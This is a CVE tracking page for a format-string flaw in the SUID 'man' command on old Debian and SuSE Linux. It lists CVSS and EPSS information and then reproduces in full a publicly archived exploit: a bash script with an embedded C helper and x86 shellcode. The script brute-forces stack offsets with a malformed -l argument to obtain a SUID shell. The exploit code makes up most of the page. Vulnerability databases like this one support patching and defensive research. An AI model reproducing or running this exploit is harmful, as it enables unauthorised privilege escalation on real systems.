Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Format string vulnerability in man in some Linux distributions allows local users to gain privileges via a malformed -l parameter.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20604
Publication date : 2001-01-30 23h00 +00:00
Author : IhaQueR
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2327/info
man is the manual page viewing program, available with the Linux Operating System in this implementation. It is freely distributed and openly maintained.
A problem with the man command may allow for the elevation of privileges. Due to the handling of format strings by the -l argument of the man command, it may be possible for a local user to pass format strings through the man command, which could allow a user to write to a specific address in the stack and overwrite variables, including the return address of functions on the stack. man, as implemented with some distributions of the Linux operating system, is included as an SUID root binary.
It may be possible for a malicious user with local access to execute arbitrary code on the stack, and potentially gain elevated privileges, including administrative access.
#!/bin/bash
# CONFIGURATION:
umask 000
target="/usr/bin/man"
tmpdir="/tmp/manexpl"
rm -rf "$tmpdir"
# address we want to write to (ret on the stack)
# has to be an absolute address but we brute force
# this scanning 64 addresses from writeadr on
writeadr="0xbffff180"
# address of the shell in our string
# must point somewhere to our 'nop' region
shadr="0xbffff720"
# number of nops before shellcode
declare -i nnops
nnops=128
# brute force how many times
declare -i nbrute
nbrute=512
echo
echo "-------------------------------------------"
echo "| local man exploit |"
echo "| by IhaQueR |"
echo "| only for demonstrative purposes |"
echo "-------------------------------------------"
echo
echo
echo "configured for running $target"
echo
echo "RETADR = $writeadr"
echo "SHELL = $shadr"
echo "NOPS = $nnops"
echo
shellfake="SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
nop="N"
# prepare
mkdir -p "$tmpdir"
if ! test -d "$tmpdir" ; then
echo "[-] creating working dir, exit"
exit 1
fi;
echo "[+] created working dir"
cd "$tmpdir"
echo
# number of nops before shellcode
declare -i nnops
nnops=128
# make nop field
declare -i idx
idx=0
nopcode=""
head=""
while test $idx -lt $nnops; do
nopcode="${nop}$nopcode"
idx=$(($idx+1))
done;
# sanity check :-)
if ! test -x $target ; then
echo "[-] $target not found or not executable, sorry"
exit 1
fi;
echo "[+] found $target"
echo
# get uids
muid=$(id -u man)
ruid=$(id -u)
if ! test $muid="" || ! test $ruid="" ; then
echo "[-] error checking ids, sorry"
exit 2;
fi;
printf "[+] uid=%d\t\tmid=%d" $ruid $muid
echo
declare -i cnt
declare -i cntmax
cnt=0
# max gstring length*4
cntmax=1024
# make string used for offset search
# like <head><addr><nops><shellcode>
# PP stands for padding
hstring="%0016d%x%0016d%d%0016d%d%0016d%dABCDEEEEFFFFGGGGHHHHIIIIJJJJKKKK${nopcode}${shellfake}"
gstring=""
# find offset
echo " now searching for offset"
echo
declare -i npad
declare -i ocnt
ocnt=0
while test $cnt -le $cntmax ; do
if test $ocnt -eq 4 ; then
ocnt=0
echo
fi;
gstring="%16g$gstring"
cnt=$(($cnt+1))
npad=0
padding=""
printf "[%4d " $cnt
while test $npad -lt 8 ; do
echo -n " $npad"
result=$($target -l "$gstring$hstring" -p "$padding" a 2>&1 | grep "44434241")
if test "$result" != "" ; then
break 2;
fi;
padding="P$padding"
npad=$(($npad+1))
done;
echo -n " ] "
ocnt=$(($ocnt+1))
done
echo "] "
echo
echo
# found offset
declare -i offset
offset=$(($cnt * 4))
if test $cnt -gt $cntmax ; then
echo "[-] offset not found, please tune me :-)"
exit 2
fi;
echo "[+] OFFSET found to be $offset/$cnt pad=$npad"
# number of bytes written so far
declare -i nwrt
nwrt=$((16*${cnt}))
echo " now constructing magic string nwrt=$nwrt"
echo
# we need unsigned arithmetics, simple c tool
cat <<__ATOOL__> atool.c
#include <stdio.h>
int main(int argc, char** argv)
{
int i, flip;
unsigned adr, shadr, nwrt, ruid, muid;
unsigned char* p;
unsigned addr[9];
unsigned char head[33]="%0016d%x%0016d%x%0016d%x%0016d%x";
unsigned char nop[1024];
unsigned char buf[8192];
// IhaQueR's special code (no trojan, believe me :-)
char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9"
"\xb1\x01\xb7\x02\xb3\x03"
"\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9"
"\xb3\x01\xb5\x02\xb1\x03"
"\xb0\x46\xcd\x80"
"\x31\xc0\x31\xdb"
"\xb3\x01\xb0\x17\xcd\x80"
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";
// correct hellcode for current ruid, muid
ruid = $ruid;
muid = $muid;
hellcode[7] = muid & 0xff;
hellcode[9] = (ruid >> 8 ) & 0xff;
hellcode[11] = ruid & 0xff;
hellcode[23]=hellcode[7];
hellcode[25]=hellcode[9];
hellcode[27]=hellcode[11];
hellcode[37]=hellcode[7];
adr = $writeadr;
adr += atol(argv[1]);
// address field
for(i=0; i<4; i++) {
addr[2*i] = adr + i;
addr[2*i+1] = adr + i;
}
addr[8]=0;
// head
shadr = $shadr;
nwrt = $nwrt + 0;
p = (unsigned char*)&shadr;
for(i=0; i<4; i++) {
flip = (((int)256) + ((int)p[i])) - ((int)(nwrt % 256));
nwrt = nwrt + flip;
sprintf(head+i*8, "%%%04dx%%n", flip);
}
head[32] = 0;
// nops
for(i=0; i<$nnops; i++)
nop[i] = 0x90;
nop[i] = 0;
sprintf(buf, "$target -l '%s%s%s%s%s' -p \"$padding\" a 2>&1", "$gstring", head, addr, nop, hellcode);
system(buf);
}
__ATOOL__
# helper apps
rm -f atool
gcc atool.c -o atool
if ! test -x atool ; then
echo "[-] compilation error, exiting"
exit 3
fi;
echo "[+] compiled address tool"
# mansh
cat <<__MANSH__> mansh.c
main(int argc, char** argv)
{
setreuid($muid, $ruid);
execv("/bin/sh", argv);
}
__MANSH__
rm -rf mansh
rm -rf umansh
gcc mansh.c -o umansh
if ! test -x umansh ; then
echo "[-] compilation error, exiting"
exit 4
fi;
echo "[+] compiled mansh"
# mkmsh
cat <<__MKMSH__> mkmsh
#!/bin/bash
cp umansh mansh
chmod u+s mansh
__MKMSH__
chmod a+x mkmsh
if ! test -x mkmsh ; then
echo "[-] compilation error, exiting"
exit 5
fi;
echo "[+] mkmsh ready"
# brute force
echo " now brute force, wait..."
echo
idx=0
ocnt=1
umask 022
while test $idx -lt $nbrute ; do
result=$(atool "$(($idx*4))")
if test -x mansh ; then
echo
echo
echo "[+] SUCCESS"
echo
echo " suid man shell at $tmpdir/mansh"
echo
exit 6
fi;
printf "[%4d] " $idx
if test $ocnt -eq 16 ; then
ocnt=0;
echo
fi;
idx=$(($idx+1))
ocnt=$(($ocnt+1))
done;
# cleanup
echo
echo "[-] FAILED, tune writeadr, shadr, nnops, nbrute, etc."
echo
echo
rm -rf "$tmpdir"
--------------60A11DEE53A9281CA54089A7--
Products Mentioned
Configuraton 0
Debian>>Debian_linux >> Version 2.2
- Debian>>Debian_linux >> Version 2.2 (Open CPE detail)
Debian>>Debian_linux >> Version 2.2
Debian>>Debian_linux >> Version 2.2
Debian>>Debian_linux >> Version 2.2
Debian>>Debian_linux >> Version 2.2
Debian>>Debian_linux >> Version 2.2
Suse>>Suse_linux >> Version 6.3
- Suse>>Suse_linux >> Version 6.3 (Open CPE detail)
- Suse>>Suse_linux >> Version 6.3 (Open CPE detail)
Suse>>Suse_linux >> Version 6.4
- Suse>>Suse_linux >> Version 6.4 (Open CPE detail)
- Suse>>Suse_linux >> Version 6.4 (Open CPE detail)
Suse>>Suse_linux >> Version 7.0
- Suse>>Suse_linux >> Version 7.0 (Open CPE detail)
- Suse>>Suse_linux >> Version 7.0 (Open CPE detail)
References
2025©
tesweb SA
